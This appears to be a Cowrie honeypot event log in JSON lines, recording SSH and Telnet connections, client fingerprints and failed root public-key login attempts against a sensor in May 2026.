{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:06:36.084633Z","src_ip":"92.118.39.195","session":"dc1a3430996f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:06:36.521853Z","src_ip":"92.118.39.195","session":"dc1a3430996f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.212.242.68","src_port":23838,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b6ba82a19f8","protocol":"ssh","message":"New connection: 206.212.242.68:23838 (10.17.0.5:22) [session: 8b6ba82a19f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.832945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.837800Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.849918Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:88:36:fb:06:05:68:e6:8b:04:51:80:92:fb:3f:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy6/DX+sGoAb+qMSd/ol2M7e08l9Y/LjB0xH5QB7MIhfE6zToKJ3bAh1rVoQ1xn+WMv2lDZu6R6c8V/cEco6kyc/LrigqKDZ+PF5/u+McbnFW1ClzOavZvpUAZUL/EyPQw4BI7RqjoVRJumfGbR1pRJKlKNQCM+gudTHxMjMagWVi7TYGi3UyiVKwNXe1Y26/6i8bacCOoVwFHU6VYbqsHboNo1WfEyifNU7baq5wVU/XrnhqVqPPuANmRO5sjH2brcg99+llhKALlOWS1gAbEEZSkMyPuWrEPor+zs45LOXL04Yxa59zhLmHdRWuJ7Ni5GZijyCI1MQI6s9ADSRrB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:88:36:fb:06:05:68:e6:8b:04:51:80:92:fb:3f:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.892445Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:88:36:fb:06:05:68:e6:8b:04:51:80:92:fb:3f:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCy6/DX+sGoAb+qMSd/ol2M7e08l9Y/LjB0xH5QB7MIhfE6zToKJ3bAh1rVoQ1xn+WMv2lDZu6R6c8V/cEco6kyc/LrigqKDZ+PF5/u+McbnFW1ClzOavZvpUAZUL/EyPQw4BI7RqjoVRJumfGbR1pRJKlKNQCM+gudTHxMjMagWVi7TYGi3UyiVKwNXe1Y26/6i8bacCOoVwFHU6VYbqsHboNo1WfEyifNU7baq5wVU/XrnhqVqPPuANmRO5sjH2brcg99+llhKALlOWS1gAbEEZSkMyPuWrEPor+zs45LOXL04Yxa59zhLmHdRWuJ7Ni5GZijyCI1MQI6s9ADSRrB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.896690Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:64:a5:b9:5c:8b:3c:d8:66:cc:22:24:fd:d4:e8:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVpvgs9CJe5vkthPIGvljXR5u14RxbOq3868WfirZUXpGyDrzZlX4Jt4+2OslKcHFk4CumXKyKVmrRauFEKDFk8Q//1hx2hs5H8LrY75NsNJXVoeTqGa96I2fuhi9L3AFihJGGeSHpc4WNg2QVrE/9+CySDLGhhnhqt+X3YJBICQ3hsG5h05tVDmsfb7HJM5sEppZXYmZWVcToNGyFln9Y24pvLooNqONMDm45P28/jJCX6iZzhrZbl+gmiYRIzbcl9/vUp7fUxpfhjeYQJy5tbx3Ey6YfFm7dhMXq0SGUNxXV00uq898yqnzAxJyLx+5LJ4ErQ/e+3viXpCrKTle4JI4ZYNIf+L7pkL4I2hL5tlaT0v+avFRuTaTnwfc7CvzvmOuRUpDmL2dou94XP6wdrJuPa9Vwy67mSA1md6UBwbeNbPnnsmLHTK61f8RsCRXUkgMLcvgIEMGaFnXPG4k28SzsEvUchBkdLxzCgw3nmOwxNOkLHEfwVBO+G/GMV8P8e3idXENbr+4VsmbrXJSsPc3kWzUfgLbO065b7N3bIm0cokMMF2lQb+SkSBbAjFfAl/fR+ZsChhHbNynydrFYH6ZFJVLNRkc0PpDN1HDwDNagUT1P6Wtl9oxXxe2Y3D/7YUsLxfo6Jc0KXmwnXI7mX6/+z/zxIFyRZppsr7bBlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:64:a5:b9:5c:8b:3c:d8:66:cc:22:24:fd:d4:e8:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.911910Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:64:a5:b9:5c:8b:3c:d8:66:cc:22:24:fd:d4:e8:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVpvgs9CJe5vkthPIGvljXR5u14RxbOq3868WfirZUXpGyDrzZlX4Jt4+2OslKcHFk4CumXKyKVmrRauFEKDFk8Q//1hx2hs5H8LrY75NsNJXVoeTqGa96I2fuhi9L3AFihJGGeSHpc4WNg2QVrE/9+CySDLGhhnhqt+X3YJBICQ3hsG5h05tVDmsfb7HJM5sEppZXYmZWVcToNGyFln9Y24pvLooNqONMDm45P28/jJCX6iZzhrZbl+gmiYRIzbcl9/vUp7fUxpfhjeYQJy5tbx3Ey6YfFm7dhMXq0SGUNxXV00uq898yqnzAxJyLx+5LJ4ErQ/e+3viXpCrKTle4JI4ZYNIf+L7pkL4I2hL5tlaT0v+avFRuTaTnwfc7CvzvmOuRUpDmL2dou94XP6wdrJuPa9Vwy67mSA1md6UBwbeNbPnnsmLHTK61f8RsCRXUkgMLcvgIEMGaFnXPG4k28SzsEvUchBkdLxzCgw3nmOwxNOkLHEfwVBO+G/GMV8P8e3idXENbr+4VsmbrXJSsPc3kWzUfgLbO065b7N3bIm0cokMMF2lQb+SkSBbAjFfAl/fR+ZsChhHbNynydrFYH6ZFJVLNRkc0PpDN1HDwDNagUT1P6Wtl9oxXxe2Y3D/7YUsLxfo6Jc0KXmwnXI7mX6/+z/zxIFyRZppsr7bBlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.916250Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:f4:bc:23:58:9c:0a:07:f2:55:8c:94:4e:e3:29:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAvNVDRHkgubMxsluabhK6Nn2o6MVRj8ODa1DkDo8Dh2d0tsG9pDFE9k8t6jKngPp64R9T6vIe0AP7Fbkbed8TGZXzBNm39zG7BHp6m7I4I2VX7nC9CCTgC3NsZGRB/WwySMJGKRp2tfBcG9QA8NPGro01i71iWW08koYh7RDSUeQsichzodljcQW73lxRT7wOhjUS4D70YaUTYxm/VUW2PEhwBEPYOotcvwdAa/XnDSM1LGBNLTEO7/FuAl7G4EttRVF2SQqFEUw3V676A3Dm9XDasR02Wx3red8XGV5/ZMWjfUt394jrJHh8Hi/hpH2punoscXI6BWEu5S9k1Ot3RSILHtpU+zfVdKEiAdH5e2JY1kiUzJs+GuyBbGNyOMrDUwzpXplTHPj2ZKFcu2Sn3YkWhHCnSFom/9gmyQn5ApFkbuQHmlViJ5p+hQwD1k+PZkYkmFBd+LtbAtosV/YMqeOAZ6+McScRUBAVcMeBTxbXyq9z9q/QEKg+grTCRxG0ZCIhMvgx3LPpQJQ/LdPgooXyJ6YtV+iaw3lrz73oFhRMpver6nX9XbTz1LKbmvc7M/PguJOc1Mdqz2+/k2C3icVsMMPX0otzY10mrBonLqQ2MuGM524Xmx+m1Z6xB+oi1qzsqpr07t1WZuMfjm3gLAxY+AcyHmrsOk+ko2mEOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f6:f4:bc:23:58:9c:0a:07:f2:55:8c:94:4e:e3:29:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.933761Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:f4:bc:23:58:9c:0a:07:f2:55:8c:94:4e:e3:29:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAvNVDRHkgubMxsluabhK6Nn2o6MVRj8ODa1DkDo8Dh2d0tsG9pDFE9k8t6jKngPp64R9T6vIe0AP7Fbkbed8TGZXzBNm39zG7BHp6m7I4I2VX7nC9CCTgC3NsZGRB/WwySMJGKRp2tfBcG9QA8NPGro01i71iWW08koYh7RDSUeQsichzodljcQW73lxRT7wOhjUS4D70YaUTYxm/VUW2PEhwBEPYOotcvwdAa/XnDSM1LGBNLTEO7/FuAl7G4EttRVF2SQqFEUw3V676A3Dm9XDasR02Wx3red8XGV5/ZMWjfUt394jrJHh8Hi/hpH2punoscXI6BWEu5S9k1Ot3RSILHtpU+zfVdKEiAdH5e2JY1kiUzJs+GuyBbGNyOMrDUwzpXplTHPj2ZKFcu2Sn3YkWhHCnSFom/9gmyQn5ApFkbuQHmlViJ5p+hQwD1k+PZkYkmFBd+LtbAtosV/YMqeOAZ6+McScRUBAVcMeBTxbXyq9z9q/QEKg+grTCRxG0ZCIhMvgx3LPpQJQ/LdPgooXyJ6YtV+iaw3lrz73oFhRMpver6nX9XbTz1LKbmvc7M/PguJOc1Mdqz2+/k2C3icVsMMPX0otzY10mrBonLqQ2MuGM524Xmx+m1Z6xB+oi1qzsqpr07t1WZuMfjm3gLAxY+AcyHmrsOk+ko2mEOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.937672Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:b2:a8:d0:6c:6e:35:57:1d:ba:89:93:f8:d1:d8:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpTfALy5AN5m9LfThsrS1tJeY8rCJuLRXwGpV68GGrlMGe1PMPFwlbOx94KFviod3XkrpL9g9Nue/relJi0EXq/bWznun4LIiyncK/StqrmZP+IiQJ5LknpkoUUOhiKEmyZeeBvGDvN75Kh+KMiKwBNv1PscYVtqF4tUvF5mM1pftumc0H+MMb9t0vuA+fMr4kbqRpJlloQxDQIjKVzSh5qNLKQKJbZtoYcEbffJdrtujlQ0RpGNAgDWjTCsk51JCUxfE0QJUm2ClYlXKsSropr18UB0tUKUG714FHm4vziC5ctmKzyva4nPdqo1yOd2FB8ueWf41xZaxwOcmIwWCcNpUvu/QG+fWdYC9oJRONQLAy5sj8/X3iZdnGCG51dCbEHhyY9I6gtmV1R1C5RA3D7wCEBIUX0U9ORJC9XHefQ+KhmQsE93Sjss0SCAy0x02JGw6E6jKYfMAoFWiDK2vrqk3ffHcee2mWRAOJ1kOh/Z4VYwc49hoz+ouOiKrxt1dk69FRU6lfYgVeAfe/wGgYtRYKaWR3wVyS4xr875T85+FuPCOMSyBbPVsyUYfuGaYGBfFF0Yzlm6c+U/iK/GXt9uCe/2mI/VC3CgyzqSq9FDZubgluteq+uGc6RaS6U4lojyuZaD3smFi2fP3b6H7qFBS3GQGZ0kbnesoREFV7tw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dd:b2:a8:d0:6c:6e:35:57:1d:ba:89:93:f8:d1:d8:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.951504Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:b2:a8:d0:6c:6e:35:57:1d:ba:89:93:f8:d1:d8:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCpTfALy5AN5m9LfThsrS1tJeY8rCJuLRXwGpV68GGrlMGe1PMPFwlbOx94KFviod3XkrpL9g9Nue/relJi0EXq/bWznun4LIiyncK/StqrmZP+IiQJ5LknpkoUUOhiKEmyZeeBvGDvN75Kh+KMiKwBNv1PscYVtqF4tUvF5mM1pftumc0H+MMb9t0vuA+fMr4kbqRpJlloQxDQIjKVzSh5qNLKQKJbZtoYcEbffJdrtujlQ0RpGNAgDWjTCsk51JCUxfE0QJUm2ClYlXKsSropr18UB0tUKUG714FHm4vziC5ctmKzyva4nPdqo1yOd2FB8ueWf41xZaxwOcmIwWCcNpUvu/QG+fWdYC9oJRONQLAy5sj8/X3iZdnGCG51dCbEHhyY9I6gtmV1R1C5RA3D7wCEBIUX0U9ORJC9XHefQ+KhmQsE93Sjss0SCAy0x02JGw6E6jKYfMAoFWiDK2vrqk3ffHcee2mWRAOJ1kOh/Z4VYwc49hoz+ouOiKrxt1dk69FRU6lfYgVeAfe/wGgYtRYKaWR3wVyS4xr875T85+FuPCOMSyBbPVsyUYfuGaYGBfFF0Yzlm6c+U/iK/GXt9uCe/2mI/VC3CgyzqSq9FDZubgluteq+uGc6RaS6U4lojyuZaD3smFi2fP3b6H7qFBS3GQGZ0kbnesoREFV7tw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.955779Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:19:6f:e8:a0:32:9f:98:fd:b7:a9:55:96:a7:c6:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6UQsHqYTFYAMYFzUO3vJiepfoH1LypQa5eD3b7gqVUyf0VLMSmixHWrG7ikEbox4g7oJYqSwFGaZoRvfg0/ajPLQYOardKEK7s+1Ii/TnENgKMAnuhnZXJOIC9RBVs5CYHoNSFOxN2pufZyK3yK6/aP+9+F303AVxnO5nS5V0J4lWJ4Uyg6ks9Hya+tfbLoa1N3WJEVp7hbp+RMNtJL4zAj06vAiInmd23QJOAEjMt3DCSy3GTjoMvP58dOeC7PX/x1rFuuFkf7RCYrOw3M09X3jY/KKGhfdA80bm+Xy3JmmSFWnMq+DrwExYM6NVHeMYULenfK5dMIXXkH/tDikiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:19:6f:e8:a0:32:9f:98:fd:b7:a9:55:96:a7:c6:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.970251Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:19:6f:e8:a0:32:9f:98:fd:b7:a9:55:96:a7:c6:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6UQsHqYTFYAMYFzUO3vJiepfoH1LypQa5eD3b7gqVUyf0VLMSmixHWrG7ikEbox4g7oJYqSwFGaZoRvfg0/ajPLQYOardKEK7s+1Ii/TnENgKMAnuhnZXJOIC9RBVs5CYHoNSFOxN2pufZyK3yK6/aP+9+F303AVxnO5nS5V0J4lWJ4Uyg6ks9Hya+tfbLoa1N3WJEVp7hbp+RMNtJL4zAj06vAiInmd23QJOAEjMt3DCSy3GTjoMvP58dOeC7PX/x1rFuuFkf7RCYrOw3M09X3jY/KKGhfdA80bm+Xy3JmmSFWnMq+DrwExYM6NVHeMYULenfK5dMIXXkH/tDikiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.974516Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:08:33.991043Z","src_ip":"206.212.242.68","session":"8b6ba82a19f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.202.64.255","src_port":37410,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f6df760aaae","protocol":"telnet","message":"New connection: 152.202.64.255:37410 (159.203.135.109:23) [session: 6f6df760aaae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:10:07.218682Z"}
{"eventid":"cowrie.session.closed","duration":120.0163025856018,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:12:07.234822Z","src_ip":"152.202.64.255","session":"6f6df760aaae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.202.64.255","src_port":43522,"dst_ip":"159.203.135.109","dst_port":23,"session":"36e11d41763f","protocol":"telnet","message":"New connection: 152.202.64.255:43522 (159.203.135.109:23) [session: 36e11d41763f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:12:08.865366Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":58802,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4ee32e64ea3","protocol":"telnet","message":"New connection: 167.71.238.254:58802 (10.17.0.5:23) [session: e4ee32e64ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:12:55.185016Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":38888,"dst_ip":"10.17.0.5","dst_port":22,"session":"447eb3d45c11","protocol":"ssh","message":"New connection: 194.59.206.2:38888 (10.17.0.5:22) [session: 447eb3d45c11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:13:23.137357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:13:23.141951Z","src_ip":"194.59.206.2","session":"447eb3d45c11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:13:23.227423Z","src_ip":"194.59.206.2","session":"447eb3d45c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:13:23.318916Z","src_ip":"194.59.206.2","session":"447eb3d45c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0172393321991,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:14:08.882380Z","src_ip":"152.202.64.255","session":"36e11d41763f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":82.5689525604248,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:14:17.753815Z","src_ip":"167.71.238.254","session":"e4ee32e64ea3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"187.110.98.41","src_port":34040,"dst_ip":"10.17.0.5","dst_port":23,"session":"341ceff8b397","protocol":"telnet","message":"New connection: 187.110.98.41:34040 (10.17.0.5:23) [session: 341ceff8b397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:14:57.329715Z"}
{"eventid":"cowrie.session.closed","duration":12.355440855026245,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:15:09.685035Z","src_ip":"187.110.98.41","session":"341ceff8b397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45696,"dst_ip":"10.17.0.5","dst_port":22,"session":"a282f0fd264f","protocol":"ssh","message":"New connection: 87.251.64.176:45696 (10.17.0.5:22) [session: a282f0fd264f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:15:32.455815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:15:32.460695Z","src_ip":"87.251.64.176","session":"a282f0fd264f","protocol":"ssh"}
